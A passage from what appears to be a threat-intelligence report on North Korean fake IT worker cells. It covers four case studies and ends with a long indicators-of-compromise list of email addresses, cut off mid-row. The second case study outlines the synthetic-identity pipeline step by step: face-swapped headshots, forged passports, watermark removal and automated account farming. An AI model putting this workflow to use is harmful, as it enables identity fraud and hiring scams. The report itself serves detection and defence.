performance reviews confirm that the cell is physically colocated and include commentary about cell members’:\n\n- Earnings contribution and mutual skills development.\n- Voluntary donations for Typhoon Bavi and COVID-19 recovery in North Korea.\n- Contributions to collective household duties, including doing laundry, providing haircuts, and purchasing shared food and drink.\n- Interpersonal values and adherence to party values.\n\nThese reviews suggest that the cell operates as a tightly controlled collective household where individual performance encompasses both revenue generation and ideological conformity. We observed instances of a cell member communicating with an unknown party by continually overwriting an HTML comment hidden in a large decoy codebase. The other party appeared to be able to communicate with North Korea, and provided the cell member with information about personal matters and the international movements of mutual contacts. This communication method was unique to this exchange and may have been an attempt by the cell member to evade surveillance by their superiors.\n\n![Commit showing a cell member communicating with an unknown party to pass on messages from inside North Korea.](https://res.cloudinary.com/about-gitlab-com/image/upload/v1769694080/cxenda3rxohgwbbrddz2.png \"Commit showing a cell member communicating with an unknown party to pass on messages from inside North Korea.\")\n\n#### Implications\n\nThis activity provides a unique view into the financial operations and organizational structure of a North Korean IT worker cell. Records demonstrate that these operations function as structured enterprises with defined targets and operating procedures and close hierarchical oversight. This cell’s demonstrated ability to cultivate facilitators globally provides a high degree of operational resiliency and money laundering flexibility.\n\nThe declining earnings trend through 2025 may reflect a changing landscape due to increased public awareness of North Korean IT worker activities. Despite this decline, the cell had earnings exceeding US$11,000 per member in Q3 2025, demonstrating a clear capability to generate funds for the regime.\n\n#### Mitigations\n\nWe banned accounts related to this activity.\n\n\n### Case Study 2: Synthetic Identity Creation and Service Abuse at Scale\n\n#### Summary\n\nWe identified a North Korean nation-state software development team collaborating on a large-scale synthetic identity creation capability. The capability included functionality to scrape images and personal data, generate fake passports, and automate email and professional networking accounts to generate leads. The threat actors also developed tools to synchronize Git repositories and created copies of proprietary code they gained access to. This activity cluster created a minimum of 135 synthetic identities purporting to originate from Eastern Europe and Southeast Asia. Using these personas, the actor gained access to at least 48 private codebases.\n\n#### Key findings\n\nWe identified a set of projects contributed to by a North Korean nation-state activity cluster focused on capability development and large scale synthetic identity creation. The cluster included 10 distinct GitLab accounts or Git identities that exhibited concurrent activity or had distinct origins, leading us to assess that the activity cluster highly likely comprised at least a small team of developers. Accounts commonly originated from Virtual Private Servers but intermittently originated from Russian IP space. The development team commenced activities in 2021 but was most active from late-2024 to mid-2025.\n\nThe threat actor developed a complex multistage process to generate synthetic identities at scale. The overall flow of the threat actor’s identity creation capability was to:\n\n1. Scrape photographs from social media, AI image generators, and other platforms.\n\n2. Use the legitimate faceswapper.ai service to create novel images by swapping faces from diverse source images into headshot-style images suitable for identity documents.\n\n3. Generate passports with fake personal information using VerifTools and newly created headshots. VerifTools is an illicit fraudulent identity document service [disrupted by U.S. authorities in August 2025](https://www.justice.gov/usao-nm/pr/us-government-seizes-online-marketplaces-selling-fraudulent-identity-documents-used). Downloaded passports contained watermarks because the threat actor did not pay for VerifTools.\n\n4. Use an automated Adobe Photoshop routine stored in a .atn file to extract and remove VerifTools watermarks.\n\n5. Create accounts on email and professional networking sites. The threat actor used fake passports to seek enhanced identity verification on professional networking sites.\n\nThe threat actor’s tooling to interact with abused services was brokered through a control node hosted at `185.92.220.208`. This control node served a custom API that allowed individual operators to remotely create, monitor, and control individual accounts. The threat actor used web browsers instrumented with Selenium to interact with abused services. The threat actor primarily automated accounts to make connections and cold contact leads to generate software engineering work.\n\nThe threat actor used a combination of dedicated, IPRoyal, and open proxies to obfuscate their activities and stored a massive volume of solutions to animal/object matching CAPTCHA challenges to facilitate bypasses in automated scripts. The control node tracked the efficacy of the threat actor’s accounts, contact scripts, and infrastructure, allowing the threat actor to monitor campaign effectiveness and adapt its techniques over time through an administrative dashboard.\n\nThe threat actor stored working data on dedicated infrastructure or in cloud storage accounts rather than on GitLab.com. However, in September 2024, the threat actor inadvertently committed a dump of its database to GitLab.com. The database contained records of profiles controlled at that time, which was early in the development of the capability. The contents of some fields in the database were encrypted, however the server-side decryption routine code stored on GitLab.com contained a hard-coded key, allowing us to decrypt the data.\n\nAs of September 2024, the threat actor controlled 135 synthetic identities. Identities most commonly purported to be based in Serbia, but also purportedly originated from Poland, Philippines, Indonesia, Bulgaria, Croatia, Romania, Lithuania, Moldova, Hungary, and Slovakia. For each account, the threat actor stored information about whether identity verification was successful, with overall results indicating the threat actor was successful in just over 40% of verification attempts. Commit volume on the synthetic identity capability escalated sharply from September 2024 to December 2024, indicating that the true scale of the threat actor’s activities may have been much higher. The threat actor also had more than 73,000 leads stored in its database dump, providing insight into the scope of its outbound activities.\n\n\n![Distribution of purported account origins](https://res.cloudinary.com/about-gitlab-com/image/upload/v1769694425/igefe8soxgg1gt2lfasy.png)\n\n\n\n![Distribution of identity verification results](https://res.cloudinary.com/about-gitlab-com/image/upload/v1769694350/liucfviexwkxy028ysyf.png)\n\nThe threat actor also created a set of command line tools for standardized Git operations.  The tooling was primarily intended to allow the threat actor to mirror Git repositories from private namespaces on a range of cloud and self-managed source code management systems. The tooling allowed the threat actor to push commits to the mirror and then have them synchronized to remote repositories under the correct Git identities. This capability gave the threat actor a safety net against making commits under the wrong identity and also meant that they exfiltrated copies of codebases they gained access to. Based on metadata reports committed to GitLab.com by the threat actor, they used this mirroring tooling on at least 48 unique repositories.\n\n#### Implications\n\nThis cluster is notable among North Korean nation-state activity we observed in 2025 due to the strong focus on automation and continued efficacy monitoring. This cluster also demonstrates that North Korean nation-state threat actors draw on both emerging AI capabilities and the cybercrime ecosystem to enhance their operations.\n\nIdentity development is a fundamental element of North Korean nation-state insider activity. North Korean nation-state threat actors incrementally build legitimacy through identities spanning multiple platforms and by seeking enhanced verification services where possible. North Korean nation-state identity cultivation draws on network effects by creating interactions, reviews and testimonials between personas. These tactics have the drawback of increasing threat actors’ exposure to service provider takedowns. Organizations should treat applications with dead links to professional profiles and source code portfolios as highly suspicious.\n\n#### Mitigations\n\nWe banned the accounts associated with this activity and notified impacted service providers of potential abuse of their platforms.\n\n\n### Case Study 3: North Korean Operator Controlling 21 Personas\n\n#### Summary\n\nWe identified an individual North Korean operator controlling at least 21 distinct personas based on real identities. The threat actor was focused on revenue generation through contract and freelance software development. The threat actor’s personas spanned five countries and were supported by doctored identity documents and personal information obtained from open sources and through a likely cyber intrusion.\n\n#### Key findings\n\nWe identified a code project used by an individual North Korean operator active from at least May 2021 until February 2025. The threat actor was focused on generating revenue through contract and freelance software development under a range of stolen or shared identities, spanning at least 21 distinct personas. The threat actor focused on web, blockchain, and cloud skill sets, and created blogs and professional social media accounts on various external platforms. The threat actor typically accessed GitLab.com via commercial VPNs and Virtual Private Servers with RDP enabled. Based on lapses in proxy use, the threat actor was likely physically located in Russia during early 2025.\n\nThe threat actor maintained individual directories for each identity, containing identity documents, resumes, signatures, personal information, and payment card information. The threat actor’s identities spanned the U.S., Canada, Ukraine, Estonia, and Macedonia. For five of their eight U.S.-based identities, the threat actor used Photoshop to edit their own image into one or more stolen identity documents, preserving otherwise valid details. The threat actor produced false Florida and Texas driver licenses and false U.S. passports. The threat actor had Photoshop Document (PSD) template files to produce identity documents for Australia, Austria, Canada, Finland, Germany, Malaysia, Mexico, Philippines, and Poland. We identified some of these template files for sale via illicit services online and assess that the threat actor likely purchased the templates.\n\n![Doctored U.S. identity documents containing the threat actor’s photograph.](https://res.cloudinary.com/about-gitlab-com/image/upload/v1769694685/rof3zsajd7asn8lcq0oc.png \"Doctored U.S. identity documents containing the threat actor’s photograph.\")\n\nThe threat actor also collected personal information on U.S.-based individuals. The threat actor had files that appear to have been exported from the HR management system of a large U.S.-based hospitality company. The files contained information including personal and contact details, protected class status, and identity document numbers for almost 8,000 employees of the organization. We were unable to locate this data in circulation or data breach aggregators, suggesting that the data may have been obtained by the threat actor during an intrusion or purchased in a one-off sale. The threat actor also had an export of the public Florida voter registration database, which is one of the most detailed publicly available voter databases.\n\n#### Implications\n\nThis threat actor’s activities suggest that North Korean threat actors place a particular value on U.S. identities. We identified no evidence that the threat actor altered non-U.S. identity documents or collected personal data from any other country. This activity also demonstrates that North Korean threat actors, even when focused on earning wages, present a cyber intrusion risk and actively leverage the cybercrime ecosystem to support their operations.\n\n#### Mitigation\n\nWe banned the account associated with this operator.\n\n\n### Case Study 4: North Korean Fake IT Worker Operating from Central Moscow\n\n#### Summary\n\nWe identified a private code repository used by a North Korean fake IT worker likely operating from central Moscow. The threat actor was focused on cultivation of a smaller group of more detailed personas and progressed from freelance work to full-time employment. The threat actor also attempted to recruit remote facilitators to maintain custody of laptops intended to be remotely accessed.\n\n#### Key findings\n\nWe identified a private code project controlled by a North Korean fake IT worker most recently active in December 2025\\. We identified the project within a week of its creation, however the threat actor's records indicate they have been active on other platforms since at least 2022. The threat actor started as a freelance software developer and 3D modeler but shifted focus to seeking fraudulent full-time employment in 2025. The threat actor’s strategy relied on a smaller number of personas with emphasis on establishing legitimacy through backstopping rather than relying on many disposable personas.\n\nRepository contents indicate that the threat actor began as a fraudulent freelancer. Invoices created by the threat actor during this period were marked payable to individuals and addresses in China, Poland, and Spain. Documents stored by the threat actor indicate that they rotated through accounts on at least three payment processors to receive payments from clients. A spreadsheet stored by the threat actor indicates they were part of a 14-member cell in 2022, however they did not store continuous financial records on GitLab.com. North Korean cells we have observed on GitLab.com typically have smaller membership and this is the only data we have observed consistent with a cell membership exceeding 10.\n\nIn early 2025, the threat actor pivoted to attempting to obtain full-time employment at U.S. and U.K. organizations. In March 2025, the threat actor uploaded chat logs to GitLab.com containing exchanges with another likely North Korean operator. The threat actors discussed their progress in recruiting individuals in the U.S. and U.K. to maintain custody of laptops to be remotely accessed in exchange for a fixed fee and the payment of power and internet utilities. The primary threat actor mentioned having a current facilitator based in Hong Kong providing remote access to a device and sharing their identity and a potential facilitator in the U.K. The primary threat actor represented himself as a Chinese national with visa difficulties when attempting to recruit facilitators.\n\nIn April 2025, the threat actor operationalized the Hong Kong-based facilitator and started seeking employment. The threat actor circulated a set of resumes with different skill sets on resume-sharing sites and on a personal portfolio website. The threat actor took a series of photographs of themselves and used several AI-headshot services to create professional profile photos.\n\n![Original and AI-enhanced images of the threat actor stored in private projects and open-source examples claiming employment at two U.S.-based organizations.](https://res.cloudinary.com/about-gitlab-com/image/upload/v1769694925/spifmjjmsbod8nczsi6n.png \"Original and AI-enhanced images of the threat actor stored in private projects and open-source examples claiming employment at two U.S.-based organizations.\")\n\nThe threat actor uploaded the original images used to create their AI headshots to GitLab.com. The images contained EXIF metadata, including GPS coordinate data. GPS coordinates stored on the images indicate that they were taken at `55°43'44.4\"N 37°36'55.8\"E`, which is a location in the Yakimanka District in central Moscow. We note that these coordinates were highly likely produced via Windows location services based on WiFi positioning and may have a reduced accuracy compared to true GPS. Despite this limitation, we assess that it is highly likely that this threat actor was based in Moscow when the images were captured on April 18, 2025. The threat actor also commonly originated from Russian IP addresses when accessing GitLab.com without a VPN.\n\n![Map depicting the location stored in EXIF metadata on images of the threat actor. ](https://res.cloudinary.com/about-gitlab-com/image/upload/v1769695036/cjv9evwdxwxonpdgvko9.png \"Map depicting the location stored in EXIF metadata on images of the threat actor.\")\n\nThe threat actor’s notes indicate that they gained employment with at least one small U.S.-based technology agency in mid-2025 and were subsequently contracted to five other organizations. The threat actor appears to have gained significant access to the agency, including privileged access to web hosts used for client projects and potential access to an executive’s Slack account. The threat actor stored copies of the executive’s resume and message logs indicating that the threat actor may represent themselves as the executive in communications with external parties. We are unable to assess whether this is an instance of facilitation or the threat actor using their foothold to establish deeper control of the agency.\n\n#### Implications\n\nThis incident is an example of a North Korean fake IT worker cultivating a small number of detailed personas. This approach is distinct from other operators that focus on a higher volume of disposable personas.\n\nThis incident also provides insight into North Korean facilitator cultivation. The threat actors were content to seek purely technical facilitators rather than facilitators willing to share their identities and participate in meetings. This preference suggests that North Korean operators prioritize circumventing technical controls such as IP address-based geolocation and reputation scoring over identity verification challenges, indicating that technical controls may be a more significant operational barrier in the current landscape.\n\n#### Mitigations\n\nWe banned the account associated with this activity.\n\n*Saksham Anand contributed to this report.*\n\n## Appendix 1: GitLab Threat Intelligence Estimative Language\n\nWe use specific language to convey the estimated probability attached to assessments. We also use words including \"possible\" and \"may\" in circumstances where we are unable to provide a specific estimate. Further reading on estimative language is available [here](https://www.cia.gov/resources/csi/static/Words-of-Estimative-Probability.pdf).\n\n| Estimative Term | Almost Certainly Not | Highly Unlikely | Unlikely | Real Chance | Likely | Highly Likely  | Almost Certain |\n| :---- | :---- | :---- | :---- | :---- | :---- | :---- | :---- |\n| Probability Range | 0 - 10% | 10 - 25% | 25 - 40% | 40 - 60% | 60 - 75% | 75 - 90% | 90 - 100% |\n\n\n## Appendix 2: Indicators of Compromise\n\nWe recommend that organizations use these indicators of compromise as a basis for investigation rather than as a blocklist. North Korean threat actors almost certainly use compromised and purchased identities to support their operations, meaning these indicators of compromise may not be uniquely malicious or may have reverted to their original owners. We have made our best efforts to filter for email addresses where threat actors have indicated positive control of the email address on one or more platforms or represented themselves as the associated identity.\n\n| Indicator | Type | Risk | First Seen | Last Seen | Comment | Case Study |\n| :---- | :---- | :---- | :---- | :---- | :---- | :---- |\n| `aleks.moleski@mail.io` | email | malware | N/A | N/A | Used for malware distribution on freelance developer platforms | Year in Review |\n| `aleksander.malinowski@mail.io` | email | malware | N/A | N/A | Used for malware distribution on freelance developer platforms | Year in Review |\n| `anatol.baranski@mail.io` | email | malware | N/A | N/A | Used for malware distribution on freelance developer platforms | Year in Review |\n| `anton.plonski@mail.io` | email | malware | N/A | N/A | Used for malware distribution on freelance developer platforms | Year in Review |\n| `ben.moore0622@outlook.com` | email | malware | N/A | N/A | Used for malware distribution on freelance developer platforms | Year in Review |\n| `edward.harley@mail.io` | email | malware | N/A | N/A | Used for malware distribution on freelance developer platforms | Year in Review |\n| `iwan.banicki@mail.io` | email | malware | N/A | N/A | Used for malware distribution on freelance developer platforms | Year in Review |\n| `johnwilson0825@outlook.com` | email | malware | N/A | N/A | Used for malware distribution on freelance developer platforms | Year in Review |\n| `kevin.brock@mail.io` | email | malware | N/A | N/A | Used for malware distribution on freelance developer platforms | Year in Review |\n| `richard.francis10@mail.io` | email | malware | N/A | N/A | Used for malware distribution on freelance developer platforms | Year in Review |\n| `robert.radwanski@mail.io` | email | malware | N/A | N/A | Used for malware distribution on freelance developer platforms | Year in Review |\n| `roman.bobinski@mail.io` | email | malware | N/A | N/A | Used for malware distribution on freelance developer platforms | Year in Review |\n| `roman.ulanski@mail.io` | email | malware | N/A | N/A | Used for malware distribution on freelance developer platforms | Year in Review |\n| `stefan.moleski@mail.io` | email | malware | N/A | N/A | Used for malware distribution on freelance developer platforms | Year in Review |\n| `taraslysenko@mail.io` | email | malware | N/A | N/A | DPRK malware developer accounts | Year in Review |\n| `corresol28@gmail.com` | email | malware | N/A | N/A | DPRK malware developer accounts | Year in Review |\n| `corresol28@outlook.com` | email | malware | N/A | N/A | DPRK malware developer accounts | Year in Review |\n| `paniker1110@outlook.com` | email | malware | N/A | N/A | DPRK malware developer accounts | Year in Review |\n| `walterjgould77@gmail.com` | email | malware | N/A | N/A | DPRK malware developer accounts | Year in Review |\n| `supernftier@gmail.com` | email | malware | N/A | N/A | DPRK malware developer accounts | Year in Review |\n| `bohuslavskyir@gmail.com` | email | malware | N/A | N/A | DPRK malware developer accounts | Year in Review |\n| `artizjusz11@gmail.com` | email | malware | N/A | N/A | DPRK malware developer accounts | Year in Review |\n| `bartonfratz@gmail.com` | email | malware | N/A | N/A | DPRK malware developer accounts | Year in Review |\n| `cryptodev26@gmail.com` | email | malware | N/A | N/A | DPRK malware developer accounts | Year in Review |\n| `deinsulabasil@gmail.com` | email | malware | N/A | N/A | DPRK malware developer accounts | Year in Review |\n| `elsaadanifaiek@hotmail.com` | email | malware | N/A | N/A | DPRK malware developer accounts | Year in Review |\n| `felipe.debarros@hotmail.com` | email | malware | N/A | N/A | DPRK malware developer accounts | Year in Review |\n| `geordiecuppaidge684@gmail.com` | email | malware | N/A | N/A | DPRK malware developer accounts | Year in Review |\n| `greatbusinessman517@gmail.com` | email | malware | N/A | N/A | DPRK malware developer accounts | Year in Review |\n| `jhmnuykbvgftrss@gmail.com` | email | malware | N/A | N/A | DPRK malware developer accounts | Year in Review |\n| `kainmcguire@gmail.com` | email | malware | N/A | N/A | DPRK malware developer accounts | Year in Review |\n| `kimberlysunshine137@yahoo.com` | email | malware | N/A | N/A | DPRK malware developer accounts | Year in Review |\n| `konovalov1256@gmail.com` | email | malware | N/A | N/A | DPRK malware developer accounts | Year in Review |\n| `kvashinalexander@gmail.com` | email | malware | N/A | N/A | DPRK malware developer accounts | Year in Review |\n| `markstevemark85@gmail.com` | email | malware | N/A | N/A | DPRK malware developer accounts | Year in Review |\n| `oleksandrbokii963@gmail.com` | email | malware | N/A | N/A | DPRK malware developer accounts | Year in Review |\n| `paniker1110@gmail.com` | email | malware | N/A | N/A | DPRK malware developer accounts | Year in Review |\n| `rubenbolanos19733@gmail.com` | email | malware | N/A | N/A | DPRK malware developer accounts | Year in Review |\n| `simpsonkeith686@gmail.com` | email | malware | N/A | N/A | DPRK malware developer accounts | Year in Review |\n| `sonniehutley5@gmail.com` | email | malware | N/A | N/A | DPRK malware developer accounts | Year in Review |\n| `tagi238761@gmail.com` | email | malware | N/A | N/A | DPRK malware developer accounts | Year in Review |\n| `vlulepet9@gmail.com` | email | malware | N/A | N/A | DPRK malware developer accounts | Year in Review |\n| `cnova.business.en@gmail.com` | email | malware | N/A | December 2025 | DPRK malware distributor GitLab.com account | Year in Review |\n| `danielmcevily.business918@gmail.com` | email | malware | N/A | December 2025 | DPRK malware distributor GitLab.com account | Year in Review |\n| `jaimetru003@gmail.com` | email | malware | N/A | December 2025 | DPRK malware distributor GitLab.com account | Year in Review |\n| `daysabethtederstz7533@hotmail.com` | email | malware | N/A | December 2025 | DPRK malware distributor GitLab.com account | Year in Review |\n| `thiagocosta199295@gmail.com` | email | malware | N/A | December 2025 | DPRK malware distributor GitLab.com account | Year in Review |\n| `cptrhzv09@hotmail.com` | email | malware | N/A | December 2025 | DPRK malware distributor GitLab.com account | Year in Review |\n| `chainsaw1107@gmail.com` | email | malware | N/A | December 2025 | DPRK malware distributor GitLab.com account | Year in Review |\n| `mutsabsaskajgig0f@outlook.com` | email | malware | N/A | December 2025 | DPRK malware distributor GitLab.com account | Year in Review |\n| `snowl3784@gmail.com` | email | malware | N/A | December 2025 | DPRK malware distributor GitLab.com account | Year in Review |\n| `dieterwang@proton.me` | email | malware | N/A | December 2025 | DPRK malware distributor GitLab.com account | Year in Review |\n| `cesarpassos4808@gmail.com` | email | malware | N/A | December 2025 | DPRK malware distributor GitLab.com account | Year in Review |\n| `lazar.master.0204@gmail.com` | email | malware | N/A | December 2025 | DPRK malware distributor GitLab.com account | Year in Review |\n| `lujancamryn405@gmail.com` | email | malware | N/A | December 2025 | DPRK malware distributor GitLab.com account | Year in Review |\n| `harryjason19880502@gmail.com` | email | malware | N/A | December 2025 | DPRK malware distributor GitLab.com account | Year in Review |\n| `fraserhutchison1@hotmail.com` | email | malware | N/A | December 2025 | DPRK malware distributor GitLab.com account | Year in Review |\n| `stovbanoleksandr14@gmail.com` | email | malware | N/A | December 2025 | DPRK malware distributor GitLab.com account | Year in Review |\n| `ramirezhector9299@gmail.com` | email | malware | N/A | December 2025 | DPRK malware distributor GitLab.com account | Year in Review |\n| `mimoriokamoto@gmail.com` | email | malware | N/A | December 2025 | DPRK malware distributor GitLab.com account | Year in Review |\n| `wilson.wen2145@outlook.com` | email | malware | N/A | December 2025 | DPRK malware distributor GitLab.com account | Year in Review |\n| `jasonfissionawgyi08293@outlook.com` | email | malware | N/A | December 2025 | DPRK malware distributor GitLab.com account | Year in Review |\n| `olelangaard9@gmail.com` | email | malware | N/A | November 2025 | DPRK malware distributor GitLab.com account | Year in Review |\n| `mirandacunningham1993@outlook.com` | email | malware | N/A | November 2025 | DPRK malware distributor GitLab.com account | Year in Review |\n| `jerryjames1997@outlook.com` | email | malware | N/A | November 2025 | DPRK malware distributor GitLab.com account | Year in Review |\n| `caryphillips.business727@gmail.com` | email | malware | N/A | November 2025 | DPRK malware distributor GitLab.com account | Year in Review |\n| `soft.business1103@outlook.com` | email | malware | N/A | November 2025 | DPRK malware distributor GitLab.com account | Year in Review |\n| `soft.business1024@outlook.com` | email | malware | N/A | November 2025 | DPRK malware distributor GitLab.com account | Year in Review |\n| `soft.business1020@outlook.com` | email | malware | N/A | November 2025 | DPRK malware distributor GitLab.com account | Year in Review |\n| `soft.business0987@gmail.com` | email | malware | N/A | November 2025 | DPRK malware distributor GitLab.com account | Year in Review |\n| `alphabrownsapon70555@hotmail.com` | email | malware | N/A | November 2025 | DPRK malware distributor GitLab.com account | Year in Review |\n| `welbykchamu4i72@outlook.com` | email | malware | N/A | November 2025 | DPRK malware distributor GitLab.com account | Year in Review |\n| `eron4236@gmail.com` | email | malware | N/A | November 2025 | DPRK malware distributor GitLab.com account | Year in Review |\n| `reddixyxzh551438@hotmail.com` | email | malware | N/A | November 2025 | DPRK malware distributor GitLab.com account | Year in Review |\n| `soft.business1112@outlook.com` | email | malware | N/A | November 2025 | DPRK malware distributor GitLab.com account | Year in Review |\n| `richardcook.business93@gmail.com` | email | malware | N/A | November 2025 | DPRK malware distributor GitLab.com account | Year in Review |\n| `jamesgolden198852@gmail.com` | email | malware | N/A | November 2025 | DPRK malware distributor GitLab.com account | Year in Review |\n| `erik423131@gmail.com` | email | malware | N/A | November 2025 | DPRK malware distributor GitLab.com account | Year in Review |\n| `alfredogomez1984126@gmail.com` | email | malware | N/A | November 2025 | DPRK malware distributor GitLab.com account | Year in Review |\n| `jasonharris198852@gmail.com` | email | malware | N/A | November 2025 | DPRK malware distributor GitLab.com account | Year in Review |\n| `xavieryetikqpir36636@outlook.com` | email | malware | N/A | November 2025 | DPRK malware distributor GitLab.com account | Year in Review |\n| `marcello.armand.tf7@gmail.com` | email | malware | N/A | October 2025 | DPRK malware distributor GitLab.com account | Year in Review |\n| `gabriel.sanchez255@outlook.com` | email | malware | N/A | October 2025 | DPRK malware distributor GitLab.com account | Year in Review |\n| `aronlin712@gmail.com` | email | malware | N/A | October 2025 | DPRK malware distributor GitLab.com account | Year in Review |\n| `rickcarr1014@gmail.com` | email | malware | N/A | October 2025 | DPRK malware distributor GitLab.com account | Year in Review |\n| `sallydunnet.business1016@gmail.com` | email | malware | N/A | October 2025 | DPRK malware distributor GitLab.com account | Year in Review |\n| `dr.md.hubert.business916@gmail.com` | email | malware | N/A | October 2025 | DPRK malware distributor GitLab.com account | Year in Review |\n| `tommyrole0301@gmail.com` | email | malware | N/A | October 2025 | DPRK malware distributor GitLab.com account | Year in Review |\n| `jbutton717@gmail.com` | email | malware | N/A | October 2025 | DPRK malware distributor GitLab.com account | Year in Review |\n| `lilian.rodrigues.re@gmail.com` | email | malware | N/A | October 2025 | DPRK malware distributor GitLab.com account | Year in Review |\n| `andrewtilley.us@gmail.com` | email | malware | N/A | October 2025 | DPRK malware distributor GitLab.com account | Year in Review |\n| `davidaheld.manager@gmail.com` | email | malware | N/A | October 2025 | DPRK malware distributor GitLab.com account | Year in Review |\n| `lovelysong0209@gmail.com` | email | malware | N/A | October 2025 | DPRK malware distributor GitLab.com account | Year in Review |\n| `moreandmore082@gmail.com` | email | malware | N/A | October 2025 | DPRK malware distributor GitLab.com account | Year in Review |\n| `meirjacob727@gmail.com` | email | malware | N/A | October 2025 | DPRK malware distributor GitLab.com account | Year in Review |\n| `harry.work206@gmail.com` | email | malware | N/A | October 2025 | DPRK malware distributor GitLab.com account | Year in Review |\n| `abdelrahman5520032019@gmail.com` | email | malware | N/A | October 2025 | DPRK malware distributor GitLab.com account | Year in Review |\n| `karenhooi.cpa.cga.business1016@gmail.com` | email | malware | N/A | October 2025 | DPRK malware distributor GitLab.com account | Year in Review |\n| `craigsmith93.business@gmail.com` | email | malware | N/A | October 2025 | DPRK malware distributor GitLab.com account | Year in Review |\n| `paulodiego0902@outlook.com` | email | malware | N/A | October 2025 | DPRK malware distributor GitLab.com account | Year in Review |\n| `faelanholtmdjld41341@outlook.com` | email | malware | N/A | October 2025 | DPRK malware distributor GitLab.com account | Year in Review |\n| `encar.geric727510@gmail.com` | email | malware | N/A | October 2025 | DPRK malware distributor GitLab.com account | Year in Review |\n| `irynalavreniuk38@gmail.com` | email | malware | N/A | October 2025 | DPRK malware distributor GitLab.com account | Year in Review |\n| `melnikoleg995@gmail.com` | email | malware | N/A | September 2025 | DPRK malware distributor GitLab.com account | Year in Review |\n| `opalinsigniagyprt29567@hotmail.com` | email | malware | N/A | September 2025 | DPRK malware distributor GitLab.com account | Year in Review |\n| `thorneaustinngzsz52979@outlook.com` | email | malware | N/A | September 2025 | DPRK malware distributor GitLab.com account | Year in Review |\n| `joshuataub3@gmail.com` | email | malware | N/A | September 2025 | DPRK malware distributor GitLab.com account | Year in Review |\n| `itspeterszabo@gmail.com` | email | malware | N/A | September 2025 | DPRK malware distributor GitLab.com account | Year in Review |\n| `xylosmontagueujsvt83787@hotmail.com` | email | malware | N/A | September 2025 | DPRK malware distributor GitLab.com account | Year in Review |\n| `ivicastojadin488@gmail.com` | email | malware | N/A | September 2025 | DPRK malware distributor GitLab.com account | Year in Review |\n| `seed1996017@outlook.com` | email | malware | N/A | September 2025 | DPRK malware distributor GitLab.com account | Year in Review |\n| `bryandev0418@gmail.com` | email | malware | N/A | September 2025 | DPRK malware distributor GitLab.com account | Year in Review |\n| `ruslanlarionov77@gmail.com` | email | malware | N/A | September 2025 | DPRK malware distributor GitLab.com account | Year in Review |\n| `superdev@outlook.com.au` | email | malware | N/A | September 2025 | DPRK malware distributor GitLab.com account | Year in Review |\n| `cristhianmartinezrom7@gmail.com` | email | malware | N/A | September 2025 | DPRK malware distributor GitLab.com account | Year in Review |\n| `natasa.golubovic90@gmail.com` | email | malware | N/A | September 2025 | DPRK malware distributor GitLab.com account | Year in Review |\n| `weili.walk@gmail.com` | email | malware | N/A | September 2025 | DPRK malware distributor GitLab.com account | Year in Review |\n| `afaq91169@gmail.com` | email | malware | N/A | September 2025 | DPRK malware distributor GitLab.com account | Year in Review |\n| `mahmodghnaj1@gmail.com` | email | malware | N/A | September 2025 | DPRK malware distributor GitLab.com account | Year in Review |\n| `look.as.united@gmail.com` | email | malware | N/A | September 2025 | DPRK malware distributor GitLab.com account | Year in Review |\n| `rochaevertondev@gmail.com` | email | malware | N/A | September 2025 | DPRK malware distributor GitLab.com account | Year in Review |\n| `tabishhassan01998@gmail.com` | email | malware | N/A | September 2025 | DPRK malware distributor GitLab.com account | Year in Review |\n| `temorexviashvili17@gmail.com` | email | malware | N/A | September 2025 | DPRK malware distributor GitLab.com account | Year in Review |\n| `vovalishcn77@gmail.com` | email | malware | N/A | September 2025 | DPRK malware distributor GitLab.com account | Year in Review |\n| `seed1996015@outlook.com` | email | malware | N/A | September 2025 | DPRK malware distributor GitLab.com account | Year in Review |\n| `suryaedg88@hotmail.com` | email | malware | N/A | September 2025 | DPRK malware distributor GitLab.com account | Year in Review |\n| `maurostaver9@gmail.com` | email | malware | N/A | September 2025 | DPRK malware distributor GitLab.com account | Year in Review |\n| `pleasemeup214@gmail.com` | email | malware | N/A | September 2025 | DPRK malware distributor GitLab.com account | Year in Review |\n| `vitalii214.ilnytskyi@gmail.com` | email | malware | N/A | September 2025 | DPRK malware distributor GitLab.com account | Year in Review |\n| `reactangulardev@gmail.com` | email | malware | N/A | September 2025 | DPRK malware distributor GitLab.com account | Year in Review |\n| `skyearth711@gmail.com` | email | malware | N/A | September 2025 | DPRK malware distributor GitLab.com account | Year in Review |\n| `migueljose81234@gmail.com` | email | malware | N/A | September 2025 | DPRK malware distributor GitLab.com account | Year in Review |\n| `seed1996010@outlook.com` | email | malware | N/A | September 2025 | DPRK malware distributor GitLab.com account | Year in Review |\n| `blackwang104@gmail.com` | email | malware | N/A | September 2025 | DPRK malware distributor GitLab.com account | Year in Review |\n| `kagan.hungri@gmail.com` | email | malware | N/A | September 2025 | DPRK malware distributor GitLab.com account | Year in Review |\n| `littebaby232355@gmail.com` | email | malware | N/A | August 2025 | DPRK malware distributor GitLab.com account | Year in Review |\n| `kenycarl92@gmail.com` | email | malware | N/A | August 2025 | DPRK malware distributor GitLab.com account | Year in Review |\n| `arnas.tf7@gmail.com` | email | malware | N/A | August 2025 | DPRK malware distributor GitLab.com account | Year in Review |\n| `nandawsu58@hotmail.com` | email | malware | N/A | August 2025 | DPRK malware distributor GitLab.com account | Year in Review |\n| `magalhaesbruno236@gmail.com` | email | malware | N/A | August 2025 | DPRK malware distributor GitLab.com account | Year in Review |\n| `martytowne03@gmail.com` | email | malware | N/A | August 2025 | DPRK malware distributor GitLab.com account | Year in Review |\n| `peter@trovastra.com` | email | malware | N/A | August 2025 | DPRK malware distributor GitLab.com account | Year in Review |\n| `martinez@trovastra.com` | email | malware | N/A | August 2025 | DPRK malware distributor GitLab.com account | Year in Review |\n| `peterforward@trovastra.com` | email | malware | N/A | August 2025 | DPRK malware distributor GitLab.com account | Year in Review |\n| `rick.cto@dantelabs.us` | email | malware | N/A | August 2025 | DPRK malware distributor GitLab.com account | Year in Review |\n| `tomgleeson92@outlook.com` | email | malware | N/A | July 2025 | DPRK malware distributor GitLab.com account | Year in Review |\n| `huqyyitizomu@hotmail.com` | email | malware | N/A | July 2025 | DPRK malware distributor GitLab.com account | Year in Review |\n| `tracykevin5590@gmail.com` | email | malware | N/A | July 2025 | DPRK malware distributor GitLab.com account | Year in Review |\n| `seniorsky92@gmail.com` | email | malware | N/A | July 2025 | DPRK malware distributor GitLab.com account | Year in Review |\n| `meftaht531@gmail.com` | email | malware | N/A | July 2025 | DPRK malware distributor GitLab.com account | Year in Review |\n| `tapiasamjann@gmail.com` | email | malware | N/A | July 2025 | DPRK malware distributor GitLab.com account | Year in Review 